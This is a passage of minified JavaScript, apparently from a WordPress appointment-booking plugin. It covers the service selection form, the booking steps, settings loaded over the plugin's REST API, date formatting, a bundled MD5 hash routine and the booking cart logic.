e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId);this.schema.locationId.options=Object.keys(e).map(j)}isValidCategoryBySchema(e){return this.schema.category.options.includes(e)}isValidServiceBySchema(e){return this.schema.serviceId.options.includes(e)}isValidLocationBySchema(e){return this.schema.locationId.options.includes(e)}isValidEmployeeBySchema(e){return this.schema.employeeId.options.includes(e)}afterUpdate(e,t,s){if(this.updateCategorySchema(),this.updateServiceSchema(),this.updateEmployeeSchema(),this.updateLocationSchema(),\"category\"===e){let e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.serviceId in e||(this.resetProperty(\"serviceId\"),this.resetProperty(\"employeeId\"),this.resetProperty(\"locationId\"))}}react(){super.react(),this.$categoriesSelect.val(this.category||\"\"),this.$servicesSelect.val(this.serviceId||\"\"),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass(\"mpa-selected\",\"\"!=this.category),this.$servicesSelect.toggleClass(\"mpa-selected\",0!=this.serviceId),this.$employeesSelect.toggleClass(\"mpa-selected\",0!=this.employeeId),this.$locationsSelect.toggleClass(\"mpa-selected\",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop(\"disabled\",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let s;const i=parseInt(this.serviceId,10);if(i>0){const t=this.availabilityService.getServiceCategories(i);s=ne(re(e,Object.keys(t)))}else s=null;const a=oe(e,t,s),r=this.category||\"\";we(this.$categoriesSelect,{\"\":this.unselectedOptionText},a,r),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.serviceId?\"\":String(this.serviceId);we(this.$servicesSelect,{\"\":this.unselectedServiceText},t,s),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.employeeId?\"0\":String(this.employeeId);we(this.$employeesSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.locationId?\"0\":String(this.locationId);we(this.$locationsSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}show(){this.$servicesSelect.prop(\"required\",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop(\"required\",!1)}enable(){super.enable(),this.$selects.prop(\"disabled\",!1)}disable(){super.disable(),this.$selects.prop(\"disabled\",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error(\"Unable to get active cart item in StepServiceForm.maybeSubmit().\");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent(\"mpa_view_item\",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,\"entities\")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,\"entities\"))}}}class Qe{constructor(e){this.$element=e,this.$message=this.$element.children(\".mpa-message\"),this.cart=new L,this.steps=new ce(this.cart),this.load()}setupSteps(){this.steps.addStep(new ze(this.$element.find(\".mpa-booking-step-service-form\"),this.cart)).addStep(new Ge(this.$element.find(\".mpa-booking-step-period\"),this.cart)).addStep(new $e(this.$element.find(\".mpa-booking-step-cart\"),this.cart)).addStep(new De(this.$element.find(\".mpa-booking-step-checkout\"),this.cart)),m().settings().isPaymentsEnabled()&&this.steps.addStep(new We(this.$element.find(\".mpa-booking-step-payment\"),this.cart)),this.steps.addStep(new ue(this.$element.find(\".mpa-booking-step-booking\"),this.cart)),this.steps.mount(this.$element)}load(){this.cart.createItem();let e=new he;Promise.all([e.load(),m().settings().ready()]).finally((()=>{this.setupSteps(),this.steps.getStep(\"service-form\").setAvailabilityService(e),this.steps.getStep(\"period\").setAvailabilityService(e),this.show(),e.isEmpty()?(this.$message.html(u(\"Sorry, there are no services, employees or locations to book.\",\"motopress-appointment\")),this.$message.removeClass(\"mpa-hide\")):this.steps.goToNextStep()}))}show(){this.$element.addClass(\"mpa-loaded\")}}class Ye extends Qe{constructor(e){super(e.children(\".widget-body\").first())}}jQuery(\".appointment-form-shortcode\").each(((e,t)=>{new Qe(jQuery(t))})),jQuery(\".appointment-form-widget\").each(((e,t)=>{new Ye(jQuery(t))})),jQuery(document).ready((function(){m().settings().ready().then((()=>{jQuery(\".mpa-booking-details-section [data-reservation-id]\").each(((e,t)=>{let s=jQuery(t);const i=s.data(\"reservation-id\"),a=new Date(s.data(\"start-time\")),r=new Date(s.data(\"end-time\")),n=s.data(\"service-name\"),o=s.data(\"employee-name\")+\". \"+s.data(\"quantity-label\")+\": \"+s.data(\"capacity\")+\".\",l=s.data(\"location-name\"),h=de.createICSURL(i,a,r,n,o,l),c=de.createGoogleCalendarURL(a,r,n,o,l),p=de.createYahooCalendarURL(a,r,n,o,l);s.find(\".mpa-add-to-calendar-link--google\").attr(\"href\",c),s.find(\".mpa-add-to-calendar-link--apple\").attr(\"href\",h),s.find(\".mpa-add-to-calendar-link--outlook\").attr(\"href\",h),s.find(\".mpa-add-to-calendar-link--yahoo\").attr(\"href\",p)}))}))}))}(wp.date,mpaData,intlTelInput)}();\n+!function(){\"use strict\";!function(e,t,s){function i(e){return e.filter(((e,t,s)=>s.indexOf(e)===t))}function a(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function r(e,t){let s=Math.min(e.length,t.length),i={};for(let a=0;a\u003Cs;a++)i[e[a]]=t[a];return i}function n(e,t,s=1){let i=s||1,a=Math.abs(Math.floor((t-e)\u002Fi))+1;return[...Array(a).keys()].map((t=>t*s+e))}let o=\"\u002Fmotopress\u002Fappointment\u002Fv1\";function l(e,t={},s=\"GET\"){return new Promise(((i,a)=>{wp.apiRequest({path:o+e,type:s,data:t}).done((e=>i(e))).fail(((e,t)=>{let s=\"parsererror\";s=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,\"parsererror\"==s&&(s=\"REST request failed. Maybe PHP error on the server side. Check PHP logs.\"),a(new Error(s))}))}))}function h(e,t={}){return l(e,t,\"GET\")}function c(e,t){return l(e,t,\"POST\")}class p{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:\"Appointment Booking\",today:\"2030-01-01\",business_name:\"\",default_time_step:30,default_booking_status:\"confirmed\",confirmation_mode:\"auto\",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:\"\",currency:\"EUR\",currency_symbol:\"&euro;\",currency_position:\"before\",decimal_separator:\".\",thousand_separator:\",\",number_of_decimals:2,timezone:\"UTC\",date_format:\"F j, Y\",time_format:\"H:i\",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:\"en\",enable_payments:!1,active_gateways:[],reservation_received_page_url:\"\",failed_transaction_page_url:\"\",default_payment_gateway:\"\"}}load(){return new Promise(((e,t)=>{h(\"\u002Fsettings\").then((e=>this.settings=e),(e=>console.error(\"Unable to load public settings.\",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class d{constructor(){this.settingsCtrl=new p,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==d.instance&&(d.instance=new d),d.instance}}function m(){return d.getInstance()}const u=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t=\"\")=>e,g=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,s=\"\")=>e;\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.sprintf&&wp.i18n.sprintf;const y={weekdays:{shorthand:[u(\"Sun\",\"motopress-appointment\"),u(\"Mon\",\"motopress-appointment\"),u(\"Tue\",\"motopress-appointment\"),u(\"Wed\",\"motopress-appointment\"),u(\"Thu\",\"motopress-appointment\"),u(\"Fri\",\"motopress-appointment\"),u(\"Sat\",\"motopress-appointment\")],longhand:[u(\"Sunday\",\"motopress-appointment\"),u(\"Monday\",\"motopress-appointment\"),u(\"Tuesday\",\"motopress-appointment\"),u(\"Wednesday\",\"motopress-appointment\"),u(\"Thursday\",\"motopress-appointment\"),u(\"Friday\",\"motopress-appointment\"),u(\"Saturday\",\"motopress-appointment\")]},months:{shorthand:[u(\"Jan\",\"motopress-appointment\"),u(\"Feb\",\"motopress-appointment\"),u(\"Mar\",\"motopress-appointment\"),u(\"Apr\",\"motopress-appointment\"),g(\"May\",\"Month (short)\",\"motopress-appointment\"),u(\"Jun\",\"motopress-appointment\"),u(\"Jul\",\"motopress-appointment\"),u(\"Aug\",\"motopress-appointment\"),u(\"Sep\",\"motopress-appointment\"),u(\"Oct\",\"motopress-appointment\"),u(\"Nov\",\"motopress-appointment\"),u(\"Dec\",\"motopress-appointment\")],longhand:[u(\"January\",\"motopress-appointment\"),u(\"February\",\"motopress-appointment\"),u(\"March\",\"motopress-appointment\"),u(\"April\",\"motopress-appointment\"),g(\"May\",\"Month\",\"motopress-appointment\"),u(\"June\",\"motopress-appointment\"),u(\"July\",\"motopress-appointment\"),u(\"August\",\"motopress-appointment\"),u(\"September\",\"motopress-appointment\"),u(\"October\",\"motopress-appointment\"),u(\"November\",\"motopress-appointment\"),u(\"December\",\"motopress-appointment\")]},amPM:[\"AM\",\"PM\"],firstDayOfWeek:m().settings().getFirstDayOfWeek()};function f(t,s=\"public\"){if(\"string\"==typeof t)return t;if(\"internal\"==s)return f(t,\"Y-m-d\");if(\"public\"==s)return e.format(m().settings().getDateFormat(),t);let i=(e,t=2)=>(\"00\"+e).slice(-t),a=!1;return s.split(\"\").map((e=>{if(a)return a=!1,e;switch(e){case\"\\\\\":return a=!0,\"\";case\"j\":return t.getDate();case\"d\":return i(t.getDate());case\"D\":return y.weekdays.shorthand[t.getDay()];case\"l\":return y.weekdays.longhand[t.getDay()];case\"N\":return t.getDay()||7;case\"w\":return t.getDay();case\"z\":let s=new Date(t.getFullYear(),0,1),r=s.getTimezoneOffset()-t.getTimezoneOffset(),n=t-s+60*r*1e3,o=864e5;return Math.floor(n\u002Fo);case\"W\":let l=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate())),h=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-h);let c=new Date(Date.UTC(l.getUTCFullYear(),0,1)),p=864e5;return Math.ceil(((l-c)\u002Fp+1)\u002F7);case\"F\":return y.months.longhand[t.getMonth()];case\"M\":return y.months.shorthand[t.getMonth()];case\"m\":return i(t.getMonth()+1);case\"n\":return t.getMonth()+1;case\"t\":return new Date(t.getFullYear(),t.getMonth()+1,0).getDate();case\"Y\":return t.getFullYear();case\"y\":return String(t.getFullYear()).substring(2);case\"L\":return t.getFullYear()%4==0?1:0;case\"A\":return y.amPM[t.getHours()>11?1:0];case\"a\":return y.amPM[t.getHours()>11?1:0].toLowerCase();case\"H\":return i(t.getHours());case\"h\":return i(t.getHours()%12||12);case\"G\":return t.getHours();case\"g\":return t.getHours()%12||12;case\"i\":return i(t.getMinutes());case\"s\":return i(t.getSeconds());case\"v\":return i(t.getMilliseconds(),3);case\"u\":return i(t.getMilliseconds(),3)+\"000\";case\"O\":case\"P\":let d=-t.getTimezoneOffset(),m=d>=0?\"+\":\"-\",u=Math.floor(Math.abs(d)\u002F60),g=Math.abs(d)%60,b=\"O\"==e?\"\":\":\";return m+i(u)+b+i(g);case\"Z\":return 60*t.getTimezoneOffset();case\"U\":return Math.floor(t.getTime()\u002F1e3);case\"c\":return f(t,\"Y-m-d\\\\TH:i:sP\");case\"r\":return f(t,\"D, d M Y H:i:s O\");case\"S\":case\"o\":case\"B\":case\"e\":case\"T\":case\"I\":return\"\";default:return e}})).join(\"\")}function b(e){let t=e.match(\u002F(\\d{4})-(\\d{2})-(\\d{2})\u002F);if(null!=t){let e=parseInt(t[1]),s=parseInt(t[2]),i=parseInt(t[3]);return new Date(e,s-1,i)}return null}function v(){let e=new Date;return e.setHours(0,0,0,0),e}function S(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,\"default\")?e.default:e}var _,P,C={exports:{}},w={exports:{}};_=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\u002F\",P={rotl:function(e,t){return e\u003C\u003Ct|e>>>32-t},rotr:function(e,t){return e\u003C\u003C32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&P.rotl(e,8)|4278255360&P.rotl(e,24);for(var t=0;t\u003Ce.length;t++)e[t]=P.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],s=0,i=0;s\u003Ce.length;s++,i+=8)t[i>>>5]|=e[s]\u003C\u003C24-i%32;return t},wordsToBytes:function(e){for(var t=[],s=0;s\u003C32*e.length;s+=8)t.push(e[s>>>5]>>>24-s%32&255);return t},bytesToHex:function(e){for(var t=[],s=0;s\u003Ce.length;s++)t.push((e[s]>>>4).toString(16)),t.push((15&e[s]).toString(16));return t.join(\"\")},hexToBytes:function(e){for(var t=[],s=0;s\u003Ce.length;s+=2)t.push(parseInt(e.substr(s,2),16));return t},bytesToBase64:function(e){for(var t=[],s=0;s\u003Ce.length;s+=3)for(var i=e[s]\u003C\u003C16|e[s+1]\u003C\u003C8|e[s+2],a=0;a\u003C4;a++)8*s+6*a\u003C=8*e.length?t.push(_.charAt(i>>>6*(3-a)&63)):t.push(\"=\");return t.join(\"\")},base64ToBytes:function(e){e=e.replace(\u002F[^A-Z0-9+\\\u002F]\u002Fgi,\"\");for(var t=[],s=0,i=0;s\u003Ce.length;i=++s%4)0!=i&&t.push((_.indexOf(e.charAt(s-1))&Math.pow(2,-2*i+8)-1)\u003C\u003C2*i|_.indexOf(e.charAt(s))>>>6-2*i);return t}},w.exports=P;var k=w.exports,$={utf8:{stringToBytes:function(e){return $.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape($.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],s=0;s\u003Ce.length;s++)t.push(255&e.charCodeAt(s));return t},bytesToString:function(e){for(var t=[],s=0;s\u003Ce.length;s++)t.push(String.fromCharCode(e[s]));return t.join(\"\")}}},T=$,I=function(e){return null!=e&&(D(e)||function(e){return\"function\"==typeof e.readFloatLE&&\"function\"==typeof e.slice&&D(e.slice(0,0))}(e)||!!e._isBuffer)};function D(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=k,t=T.utf8,s=I,i=T.bin,a=function(r,n){r.constructor==String?r=n&&\"binary\"===n.encoding?i.stringToBytes(r):t.stringToBytes(r):s(r)?r=Array.prototype.slice.call(r,0):Array.isArray(r)||r.constructor===Uint8Array||(r=r.toString());for(var o=e.bytesToWords(r),l=8*r.length,h=1732584193,c=-271733879,p=-1732584194,d=271733878,m=0;m\u003Co.length;m++)o[m]=16711935&(o[m]\u003C\u003C8|o[m]>>>24)|4278255360&(o[m]\u003C\u003C24|o[m]>>>8);o[l>>>5]|=128\u003C\u003Cl%32,o[14+(l+64>>>9\u003C\u003C4)]=l;var u=a._ff,g=a._gg,y=a._hh,f=a._ii;for(m=0;m\u003Co.length;m+=16){var b=h,v=c,S=p,_=d;h=u(h,c,p,d,o[m+0],7,-680876936),d=u(d,h,c,p,o[m+1],12,-389564586),p=u(p,d,h,c,o[m+2],17,606105819),c=u(c,p,d,h,o[m+3],22,-1044525330),h=u(h,c,p,d,o[m+4],7,-176418897),d=u(d,h,c,p,o[m+5],12,1200080426),p=u(p,d,h,c,o[m+6],17,-1473231341),c=u(c,p,d,h,o[m+7],22,-45705983),h=u(h,c,p,d,o[m+8],7,1770035416),d=u(d,h,c,p,o[m+9],12,-1958414417),p=u(p,d,h,c,o[m+10],17,-42063),c=u(c,p,d,h,o[m+11],22,-1990404162),h=u(h,c,p,d,o[m+12],7,1804603682),d=u(d,h,c,p,o[m+13],12,-40341101),p=u(p,d,h,c,o[m+14],17,-1502002290),h=g(h,c=u(c,p,d,h,o[m+15],22,1236535329),p,d,o[m+1],5,-165796510),d=g(d,h,c,p,o[m+6],9,-1069501632),p=g(p,d,h,c,o[m+11],14,643717713),c=g(c,p,d,h,o[m+0],20,-373897302),h=g(h,c,p,d,o[m+5],5,-701558691),d=g(d,h,c,p,o[m+10],9,38016083),p=g(p,d,h,c,o[m+15],14,-660478335),c=g(c,p,d,h,o[m+4],20,-405537848),h=g(h,c,p,d,o[m+9],5,568446438),d=g(d,h,c,p,o[m+14],9,-1019803690),p=g(p,d,h,c,o[m+3],14,-187363961),c=g(c,p,d,h,o[m+8],20,1163531501),h=g(h,c,p,d,o[m+13],5,-1444681467),d=g(d,h,c,p,o[m+2],9,-51403784),p=g(p,d,h,c,o[m+7],14,1735328473),h=y(h,c=g(c,p,d,h,o[m+12],20,-1926607734),p,d,o[m+5],4,-378558),d=y(d,h,c,p,o[m+8],11,-2022574463),p=y(p,d,h,c,o[m+11],16,1839030562),c=y(c,p,d,h,o[m+14],23,-35309556),h=y(h,c,p,d,o[m+1],4,-1530992060),d=y(d,h,c,p,o[m+4],11,1272893353),p=y(p,d,h,c,o[m+7],16,-155497632),c=y(c,p,d,h,o[m+10],23,-1094730640),h=y(h,c,p,d,o[m+13],4,681279174),d=y(d,h,c,p,o[m+0],11,-358537222),p=y(p,d,h,c,o[m+3],16,-722521979),c=y(c,p,d,h,o[m+6],23,76029189),h=y(h,c,p,d,o[m+9],4,-640364487),d=y(d,h,c,p,o[m+12],11,-421815835),p=y(p,d,h,c,o[m+15],16,530742520),h=f(h,c=y(c,p,d,h,o[m+2],23,-995338651),p,d,o[m+0],6,-198630844),d=f(d,h,c,p,o[m+7],10,1126891415),p=f(p,d,h,c,o[m+14],15,-1416354905),c=f(c,p,d,h,o[m+5],21,-57434055),h=f(h,c,p,d,o[m+12],6,1700485571),d=f(d,h,c,p,o[m+3],10,-1894986606),p=f(p,d,h,c,o[m+10],15,-1051523),c=f(c,p,d,h,o[m+1],21,-2054922799),h=f(h,c,p,d,o[m+8],6,1873313359),d=f(d,h,c,p,o[m+15],10,-30611744),p=f(p,d,h,c,o[m+6],15,-1560198380),c=f(c,p,d,h,o[m+13],21,1309151649),h=f(h,c,p,d,o[m+4],6,-145523070),d=f(d,h,c,p,o[m+11],10,-1120210379),p=f(p,d,h,c,o[m+2],15,718787259),c=f(c,p,d,h,o[m+9],21,-343485551),h=h+b>>>0,c=c+v>>>0,p=p+S>>>0,d=d+_>>>0}return e.endian([h,c,p,d])};a._ff=function(e,t,s,i,a,r,n){var o=e+(t&s|~t&i)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._gg=function(e,t,s,i,a,r,n){var o=e+(t&i|s&~i)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._hh=function(e,t,s,i,a,r,n){var o=e+(t^s^i)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._ii=function(e,t,s,i,a,r,n){var o=e+(s^(t|~i))+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._blocksize=16,a._digestsize=16,C.exports=function(t,s){if(null==t)throw new Error(\"Illegal argument \"+t);var r=e.wordsToBytes(a(t,s));return s&&s.asBytes?r:s&&s.asString?i.bytesToString(r):e.bytesToHex(r)}}();var E=S(C.exports);class A{setupProperties(){this.itemId=\"\",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e=\"all\"){return\"ids\"===e?this.getIds():\"availability\"===e?this.getAvailableIds():\"period\"===e?{date:null!==this.date?f(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\"}:jQuery.extend(this.getIds(),{date:null!==this.date?f(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\",capacity:this.capacity})}isSet(e=\"all\"){let t=!0;return\"all\"!==e&&\"ids\"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),\"all\"!==e&&\"period\"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&f(this.date,\"internal\")==f(e,\"internal\")&&this.time.toString(\"internal\")==t.toString(\"internal\")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(n(t.minCapacity,t.maxCapacity));return i(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case\"disabled\":default:t=e;break;case\"fixed\":t=this.service.depositAmount;break;case\"percentage\":t=e*this.service.depositAmount\u002F100}return t>e?e:t}getHash(e=\"all\"){return E(JSON.stringify(this.toArray(e)))}didChange(e,t=\"all\"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){\"number\"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){\"number\"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e\u003C=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let M=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let s=!this.includesKey(e);return this.values[e]=t,s&&(this.keys.push(e),this.length++),s}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let s=this.findNextKey(e);return\"\"!==s?this.values[s]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let s=t+1;return s\u003Cthis.length?this.keys[s]:this.keys[t]}findPrevious(e,t=null){let s=this.findPreviousKey(e);return\"\"!==s?this.values[s]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let s=t-1;return s>=0?this.keys[s]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let s=this.keys.indexOf(e);return this.keys.splice(s,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let s of this.keys){let i=this.values[s][e];null!=i&&(Array.isArray(i)?t=t.concat(i):t.push(i))}return i(t)}forEach(e){let t=0;for(let s of this.keys){let i=e(this.values[s],t,s,this);if(t++,!1===i)break}}map(e){let t=[],s=0;for(let i of this.keys)t.push(e(this.values[i],s,i,this)),s++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}},x={};function F(e,t=!1){return\"object\"==typeof e?0==function(e,t=!1){return\"object\"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function B(e=\"\",t=!1){let s=function(e,t){return t\u003C(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join(\"0\")+e:e};x.uniqid_seed||(x.uniqid_seed=Math.floor(123456789*Math.random())),x.uniqid_seed++;let i=e;return i+=s(parseInt((new Date).getTime()\u002F1e3,10),8),i+=s(x.uniqid_seed,5),t&&(i+=(10*Math.random()).toFixed(8).toString()),i}class L{setupProperties(){var e;this.items=new M,this.activeItem=null,this.customerDetails={name:\"\",email:\"\",phone:\"\"},this.paymentDetails={booking_id:0,gateway_id:\"none\"},this.coupon=null,this.bookingNonce=null!==(e=mpaData?.nonces?.mpa_create_booking)&&void 0!==e?e:\"\"}constructor(){this.setupProperties()}createItem(e=\"\"){e||(e=B());let t=new A(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():\"\"}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem=\"string\"==typeof e?this.getItem(e):e}removeItem(e){\"string\"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let s of e)t+=s.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let s=t.getPrice();this.hasCoupon()&&(s-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(s)})),e}getCustomer(){return 